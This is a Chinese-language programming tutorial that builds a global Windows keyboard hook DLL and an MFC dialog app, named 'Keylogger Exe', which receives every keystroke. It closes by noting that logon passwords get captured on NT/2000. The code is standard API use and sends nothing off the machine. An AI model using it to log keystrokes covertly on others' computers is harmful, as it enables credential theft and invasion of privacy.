文/Anoop Thomas
这篇文章描述了怎样在MICROSOFT WINDOWS里安装键盘钩子。
钩子有两种类型——线程特殊钩子和全系统钩子。线程特殊钩子只关联特别的线程(呼叫线程拥有的任何线程)。如果你想把钩子与其他进程和线程关联在一起,你将不得不使用全系统钩子。一个钩子程序关联一个钩子,当特定事件发生时这个程序总会被呼叫。例如鼠标,当与鼠标关联的事件发生,这个钩子程序就会被呼叫。钩子通过呼叫SetWindowsHookEx(?)安装,通过呼叫UnhookWindowsHookEx(?)删除。
对线程钩子来说,钩子程序也许在一个EXE文件或在一个DLL里面。但是对全局的或系统钩子来说,钩子程序必须存在在一个DLL里面。所以我们需要创建一个DLL。
为了这样做,我们用一个唯一的起动文件在它里面建立一个Win32 DLL工程,然后修改它以适合你的需要。你最好在DLL里为安装和删除钩子写好代码。
现在,在DLL头文件里像下面一样定义函数:
#ifdef KEYDLL3_EXPORTS
#define KEYDLL3_API __declspec(dllexport)
#else
#define KEYDLL3_API __declspec(dllimport)
#endif
//This function installs the Keyboard hook:
KEYDLL3_API void installhook(HWND h);
//This function removes the previously installed hook.
KEYDLL3_API void removehook();
//hook procedure:
KEYDLL3_API LRESULT CALLBACK hookproc( int ncode,
WPARAM wparam,
LPARAM lparam);
对DLL里的输出函数来说,使用__declspec和dllexport关键字是一个好主意,它胜过使用一个单独的DEF文件。SetWindowsHookEx( )返回一个句柄给钩子——这个钩子是为以后从钩子链卸载钩子作准备。我们也有一个窗口句柄,我们将用它来发送消息给主要的应用程序窗口。我们首先通过使用FindWindow( )函数寻找应用程序窗口,然后使用PostMessage( )呼叫发送按键消息参数给应用程序主要的窗口,像下面的程序代码片段:
//Find application window handle
hwnd = FindWindow("#32770","Keylogger Exe");
//Send info to app Window.
PostMessage(hwnd,WM_USER+755,wparam,lparam);
在钩子程序的最后我们必须呼叫CallNextHookEx( )函数来传递参数给在下一个钩子链中安装的钩子。我极力推荐这种方法是因为如果不使用它,就会引起不可预知的系统行为和系统锁定。程序用来安装删除钩子,钩子程序如下所示:
KEYDLL3_API void installhook(HWND h)
{
hook = NULL;
hwnd = h;
hook = SetWindowsHookEx( WH_KEYBOARD,
hookproc,
hinstance,
NULL);
if(hook==NULL)
MessageBox( NULL,
"Unable to install hook",
"Error!",
MB_OK);
}
KEYDLL3_API void removehook()
{
UnhookWindowsHookEx(hook);
}
KEYDLL3_API LRESULT CALLBACK hookproc( int ncode,
WPARAM wparam,
LPARAM lparam)
{
if(ncode>=0)
{
//Find application window handle
hwnd = FindWindow("#32770","Keylogger Exe");
//Send info to app Window.
PostMessage(hwnd,WM_USER+755,wparam,lparam);
}
//pass control to next hook.
return ( CallNextHookEx(hook,ncode,wparam,lparam) );
}
如果在内存里有多重DLL的情况,则对不同DLL的情况的每个数据成员它们都有不同的值。但是,某些数据,例如钩子句柄,窗口句柄应该对所有情况都是相同的。这是因为所有情况都发送相同的信息给相同的应用程序窗口。对这而言,我们需要像在DLL的CPP文件中定义共享数据。像下面:
#pragma data_seg(".HOOKDATA")//Shared data among all instances.
HHOOK hook = NULL;
HWND hwnd = NULL;
#pragma data_seg()
现在,连接器必须被给出指令,以便将共享数据放置在DLL单独的空间里。为了这样做,我们使用下列代码,稍后是上面提到的代码:
//linker directive
#pragma comment(linker, "/SECTION:.HOOKDATA,RWS")
对DLL说了这么多,现在我们将来看一下Main application(EXE)。建立一个MFC应用程序(基于窗口或者基于对话框的)。为了简单起见我建立了一个基于对话框的EXE文件。创建这个项目后,到项目设置对话框通过从主菜单中选择Project>Settings,选择“Link”制表符,然后在“Object/library modules”框内显示“Keydll3.lib”,点“OK”。现在,从主菜单中选择Project>Add to project> files插入DLL头文件到工作区。选择我们早先创建的DLL的.h文件,像下面一样将它“#include”在你的项目里:
//Include this for functions in the DLL:
#include "..\Keydll3\Keydll3.h"
这个应该在主对话框类的CPP文件中。现在,在主对话框的类里,增加一个成员函数来处理DLL发送的按键消息。函数如下所示:
afx_msg LRESULT processkey(WPARAM w,LPARAM l);//declaration
LRESULT CKeyexeDlg::processkey(WPARAM w, LPARAM l)//definition
{
//This block processes the keystroke info.
.
.
.
return 0L;
}
(这个成员在向导条里可以很容易的添加。)现在,在CPP文件中定义我们从DLL接收的消息,如下所示:
//This message is recieved when key is down/up
#define WM_KEYSTROKE (WM_USER + 755)
现在添加新创建的成员函数作为WM_KEYSTROKE消息的句柄,使用ON_MESSAGE宏在消息映射区(在CPP文件里),像下面:
BEGIN_MESSAGE_MAP(CKeyexeDlg, CDialog)
//{{AFX_MSG_MAP(CKeyexeDlg)
.
.
.
ON_MESSAGE(WM_KEYSTROKE, processkey)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
我们差不多完成了。但是在编译和创建EXE文件前,给Visual studio Library路径添加路径LIB 文件(Keydll3.lib)。为了这样做,从主菜单中选择Tools>Options,然后选择“Directories”制表符。从第二个列表中选择“Library files”,在下面的框内添加DLL的LIB文件。点OK。保存所有的文件和工作区,然后创建你的项目。
要得到关于钩子的更多信息,请看MSDN的下列章节:
SetWindowsHookEx( ),
Hook functions,
Virtual-key codes,
Keystroke message flags
笔记:对WINDOWSNT\2000来说,你的密码必须通过钩子程序记入日志,如果你没有激活“Ctrl-Alt-Del”登录序列的话。(只有当接通PC时。)